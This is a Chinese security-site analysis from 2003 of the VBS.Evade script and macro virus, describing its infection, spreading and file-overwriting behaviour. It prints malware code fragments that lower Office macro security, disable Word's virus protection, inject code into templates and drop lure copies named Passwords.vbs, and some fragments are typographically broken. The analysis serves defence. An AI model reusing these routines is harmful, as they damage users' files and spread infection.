Top
首页 > 网络和信息安全 > 病毒木马 > 正文

叛逃者病毒分析

2003年2月,国内发现一个混合型脚本病毒“叛逃者”(VBS.Evade)病毒。该病毒不但感染脚本文件、Excel和Word文档,而且还会直接覆盖一部分音乐、视频及工作文档....
发布时间:2003-04-15 15:07        来源:        作者:guojpeng /cvc.gb
2003年2月,国内发现一个混合型脚本病毒“叛逃者”(VBS.Evade)病毒。该病毒不但感染脚本文件、Excel和Word文档,而且还会直接覆盖一部分音乐、视频及工作文档。与此同时,他还会通过email到处发放已被感染Office文档,造成用户重要信息泄露。 因此,该病毒危害性极大。下面就该病毒的工作原理和解决办法具体分析介绍一下: 一、该病毒的感染特征 叛逃者病毒属于vbs脚本病毒,同时它也具有宏病毒的特征。当用户机器被感染这种病毒后,会发生以下变化: 1.对注册表的修改
a)添加HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion
\Run\Winsart,其值为Wscript.exe SysDir\ Winstart.vbs %1" ,
其中SYSDir为用户的系统目录。
b)修改
HKEY_LOCAL_MACHINE\Software\Microsoft\Xl.Application.Version 
\Excel\Security\Level和HKEY_LOCAL_MACHINE\Software\Microsoft
\Xl.Application.Version \Excel\Security\AcessVBOM为1
c)修改
HKEY_LOCAL_MACHINE\Software\Microsoft\Wd.Application.Version
\Excel\Security\Level和HKEY_LOCAL_MACHINE\Software\Microsoft
\Wd.Application.Version \Excel\Security\AcessVBOM为1
d)在
HKEY_CURRENT_USER\Software\Zed/[rRlf]\VBS/Evade\RecordContacts\
键下面会建立相应的Email发送结果记录。
e) 添加键值
HKEY_CURRENT_USER\Software\Zed/[rRlf]\VBS/Evade VBS/Evade.A by Zed[rRlf]
2.添加的文件 该病毒运行后,会在用户的windows目录添加如下两个病毒体文件:Netlnk32.vbs,Conversation.vbe;会在用户的系统目录添加如下四个病毒体文件:Winstart.vbs,Wininst32.vbs,Winnt32.vbs,Winnet32.vbs;会在磁盘根目录(C盘除外)下建立文件Passwords.vbs。它们都是对病毒本身的完整备份。会在系统目录添加evade.gif,evade.jpg,这两个文件是用来载入到Excel和Word中的病毒文件副本,它们不同于前面的几个病毒体文件。 3.对文件的修改 如果存在personal.xls文件,则原有文件将被删除,并且建立新的personal.xls文件;否者,直接建立personal.xls文件。同时病毒也对Word的模版进行感染。 如果存在MIRC,则修改Script.ini文件。 4.被感染的文件类型 病毒会对.vbs,.vbe文件进行感染,同时也会用病毒体对9个目录下的所有后缀为.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps的11种数据文件进行覆盖。 二、该病毒的技术特点 1.加密 该病毒属于加密性病毒,并且加密手法与一般病毒不同:一般病毒是整体加密,但是该病毒只是对病毒中的某些关键字串进行了加密。叛逃者病毒加密算法比较简单,但是由于加密字串是分开的,并且是解密一处,执行一处。这样就无法整体对这个病毒进行解密。笔者在对这个病毒的部分字串进行解密时专门编写了一段小程序,这段程序我们在后面具体分析其加解密程序时介绍。 2.脚本与宏病毒双重特性 叛逃者病毒在感染vbs,vbe脚本病毒的同时,也感染了Word模版和Excel的personal.xls文件。在对Word和Excel进行感染处理,自我保护方面,和宏病毒所采取的手段是一模一样。可以说该病毒是结合了脚本与宏的特点。 3.传播手段多样化 该病毒用到了几乎现行所有脚本病毒曾经用过的传播方式:文件感染、Email传播、IRC通道传播、各种点对点共享工具传播(KaZza、Morpheus、 Grokster、 Bearshare、Edonkey),同时也采用了宏病毒的传播方式:通过模版、文档文件进行感染。 4.代码破坏性极大 病毒不对系统文件进行任何破坏,但是覆盖用户常用的一些宝贵数据如mp3,mpg,avi,Doc,pdf,mdb,ppt等文件。这种覆盖是不可逆的,并且病毒在借助其传播时并没有为这些宝贵数据留下副本。 5.泄露用户资料 同时,病毒还会自动通过email到处发送用户的office文档,泄露用户的数据信息。这对很对公司来说,内部文档被泄露会造成非常重大的经济损失或其它不良影响。 三、该病毒运行的大致流程 该病毒流程并不复杂,可以简单描述如下: 1.复制病毒文件到用户windows目录和系统目录。 2.修改注册表,改变Excel的安全级别 3.写病毒代码到Evade.gif,并将Evade.gif导入到Personal.xls文件 4.修改注册表,改变Word的安全级别 5.写病毒代码到Evade.jpg,并将该文件导入到Word通用模版。 6.搜索整个磁盘,在每个盘符(C盘除外)根目录下创建病毒副本Passwords.vbs 7.感染硬盘上所有.vbs、.vbe文件 8.对指定9个目录进行再次搜索,用病毒文件覆盖满足条件(指定11种后缀)的文件。 9.如存在Mirc,修改Script.ini,使其可以通过Mirc聊天通道发送病毒文件Conversation.vbe。 10.修改注册表,标明病毒作者信息及版本。 通过以上步骤后,Excel和Word已被感染,当用户对这两种文档进行操作时,便会触发执行另外两段病毒代码。另外两段代码我们会在下一部分具体分析,这里不作介绍。 四、具体代码分析 1.主体病毒代码
a)加密机制分析
该病毒的解密函数代码如下:
Function E0(E1)
For E2 = 1 To Len(E1)E3 = Mid(E1, E2, 1)
If Not Asc(E3) Mod 2 = 0 Then  ’E3的Ascii码是否为奇数
  E3 = Chr(Asc(E3) - 1)    ’是
Else
  E3 = Chr(Asc(E3) + 1)    ’不是
EndIf
E0 = E0&E3        ’整合已经处理的字符
Next              ’继续,直到整个字符串处理完毕End Function
这个函数具有如下作用:对于给出的字符串E1,对于E1中的每个字符,如果该字符的Ascii码X为奇数那么用Ascii码值为X-1的字符代替这个字符,否则,用Ascii码值为X+1的字符代替这个字符。也就是说一个字符要么用它前面的字符代替,要么用它后面的字符代替。例如,F的Ascii码为70,那么F将被Ascii码为71的字符G代替,G将被F代替。 那么对于病毒中的加密字符串Rbshquhof/GhmdRxrudlNckdbu,解密后的代码就是Scripting.FileSystemObject。 同时,由上面F到G的相互转换,我们可以发现,一个字符经过该函数两次处理之后会还原。其实,这个函数也是该病毒的加密函数。 由于该病毒加/解密是对部分字符串的,这样我们在分析这个病毒的样本时就通过解密函数无法一次还原出所有的加密代码。在分析该病毒的过程中,笔者编写了如下一段小程序进行解密(这段代码放在附件中):
Do while inchar<>"dyhu"
inchar=InputBox("请输入加密字符串,结束请输入exit")
inchar=E0(inchar)
wscript.echo inchar
Loop
Function E0(E1)
For E2 = 1 To Len(E1)
E3 = Mid(E1, E2, 1)
If Not Asc(E3) Mod 2 = 0 Then
   E3 = Chr(Asc(E3) - 1)
Else
  E3 = Chr(Asc(E3) + 1)
EndIf
E0 = E0 & E3
Next
End Function
为了方便大家理解,后面列出的代码中的加密字符串用解密过的字符串代替。 b)对Excel所作的修改 病毒对Excel作修改的代码分析如下:
XlKey = "HKCU\Software\Microsoft\Office\
" & Xl.Application.Version & "\Excel\Security")
wsc.RegWrite XlKey & "Level", 1, "REG_DWORD"wsc.RegWrite XlKey & "AcessVBOM", , "REG_DWORD"
’这里是写入注册表,修改Excel的安全等级……
xl.Visible = False
Xl.WorkBooks.AddXl.ActiveWorkbook.VBProject.VBComponents.Import 
(fso.GetSpecialFolder(1) & "\Evade.gif")                      
’导入Evade.gif中的病毒代码
Xl.ActiveWorkbook.SaveAs (Xl.Application.StartupPath & "\Personal.xls")                          
’将Evade.gif的内容保存到Personal.xls文件
Xl.Quit
可见,通过上面这段程序,病毒将病毒代码写入到了Personal.xls,这样以后打开Excel时就会自动执行另外一段病毒代码。这段病毒代码后面会加以分析。 c)对Word所作的修改 病毒对Word作修改的代码分析如下:
WdKey = "HKCU\Software\Microsoft\Office\"&Wd.Application.Version
 & "\Word\Secutiry\"wsc.RegWrite WdKey & "Level"), 
1, "REG_DWORD")wsc.RegWrite WdKey & "AccessVBOM", 1, "REG_DWORD")
’这里是写入注册表,修改Word的安全等级Wd.Options.VirusProtection = False
 ’关闭病毒保护功能
Wd.Options.SaveNormalPrompt = False ’自动保存模版,不给用户提示
Wd.Options.ConfirmConversions = False ’不给出确认信息……
If Wd.NormalTemplate.VBProject.VBComponents.Item("Evade").Name <> "Evade") Then
Wd.NormalTemplate.VBProject.VBComponents.Import SysDir & "\Evade.jpg")
Wd.NormalTemplate.VBProject.VBComponents.Item("Evade")).Name = "Evade")
’将Evade.jpg的内容保存到Word通用模版
End If
可见,通过上面这段程序,病毒将病毒代码写入到了Word通用模版,这样以后打开Word时也会自动执行另外一段病毒代码。这段病毒代码后面也会加以分析。 d)往Gif,Jpg文件中写入病毒主体代码时采取的方法 病毒在往evade.gif,evade.jpg文件中写入的并不是直接的vbs代码,这段vbs代码写入时是通过一段转换代码处理过的,该段代码将病毒体的字符串转换为每个字符Ascii码串(其中Ascii码以16进制表示)。其具体代码分析如下:
For i = 1 To Len(ScriptRead)
Tz = Mid(ScriptRead, i, 1)
Tz = Hex(Asc(Tz))           
’取字符的Ascii码,并将其转化为16进制串
If Len(Tz) = 1 Then         
       ’如果该字符的Ascii码小于等于F,譬如回车换行D,A
  Tz = E0("1") & Tz          
   ’在字符前面加0,譬如,将D转换为0D,补足两个字符,便于后面逆向处理
End If
Gz = Gz + Tz               ’整合处理过的字符
If Len(Gz) = 110 Then  
 ’如果处理的字符串达到110个字符(其实是55个字符,
因为一个字符转换成16进制Ascii码后是两位)
 EM.WriteLine "Tz = Tz + """ + Gz + Chr(34) 
’将处理过的110个字符写入文件,实际写到文件的是字符串Tz=Tz+"处理过的110个字符" 
  Gz = E0("")               ’将Gz清空,以便继续处理
EndIf
If Len(ScriptRead) - i = 0 Then ’如果所有字符已经处理完 
   EM.WriteLine "Tz = Tz + """ + Gz + Chr(34) ’将剩余处理过的字符串写入文件 
   Gz = E0("")               ’将Gz清空
End If
Next
e)病毒的感染部分 叛逃者病毒会对整个磁盘进行搜索,寻找满足条件的文件,其搜索代码和爱虫病毒的搜索代码基本上是一模一样,同样是搜索到每个盘符后,先检查该盘符是否软磁盘或硬盘,如果是则对其进行递归、搜索每个文件夹,查找每个满足条件的文件,由于版面关系这里不再列出具体代码。不过这段搜索代码在找到C盘后,会在磁盘(C盘除外)根目录下创建一个名为passwords.vbs的病毒副本,这个文件名诱惑用户双击该文件,执行病毒代码。相关代码如下:
If UCase(NetDrive.Path) <> "C:" Then
fso.CopyFile WScript.ScriptFullName, NetDrive.Path & "\Passwords.vbs")
End If
病毒为了避免反复感染同一个文件,会先查看该文件中是否含有病毒标记" ’ VBS/Evade by Zed /[rRlf]",如果存在则不对其进行感染。这里病毒并没有对目标文件进行覆盖,而是将病毒代码写在了原来文件的末尾,并且这里写入的也是转换成16进制Ascii码后的病毒代码,紧接其后病毒写入了逆向转换代码和调用执行语句。 另外,病毒还会对指定9个目录:
C:KazaaMy Shared Folder 
C:My Downloads 
C:ProgramFiles%KazaaMy Shared Folder 
C:ProgramFiles%KaZaA LiteMy Shared Folder 
C:ProgramFiles%BearshareShared 
C:ProgramFiles%Edonkey2000 
C:ProgramFiles%MorpheusMy Shared Folder 
C:ProgramFiles%GroksterMy Gorkster 
C:ProgramFiles%ICQShared Files 
进行搜索,并对.mp3 .mp2 .avi .mpg .mpeg .mpe .mov .pdf .doc .xls .mdb .ppt .pps等13种数据文件,进行覆盖:先创建一个以原文件名为前缀,vbs为后缀的病毒文件副本。然后,删除原来的文件。这样,用户在看到这些文件后,会以为这些文件是用户原来的文件而去双击它。这样病毒就得到了控制权。以上9个目录是网上进行文件共享时的默认目录,如果病毒覆盖了这些病毒中的文件,其它网络用户就会下载这些文件,这样病毒就得以广泛传播。这里不列出具体代码分析。 f)利用Mirc进行传播 叛逃者病毒可以利用Mirc聊天通道进行传播,他修改script.ini文件,使得Mirc会自动向通道中的其他好友发送病毒文件。病毒依次查找如下四个目录:
C:\Mirc
C:\Mirc32
\Mirc
\Mirc32
如果发现这些目录,则在该目录中添加或修改文件Script.ini,并在其中写入一些控制指令。这些指令可以自动往通道中的其他用户发送病毒文件。添加的指令如下:
;Mirc Scripting utility
  
  
加载更多

专题访谈

合作站点
stat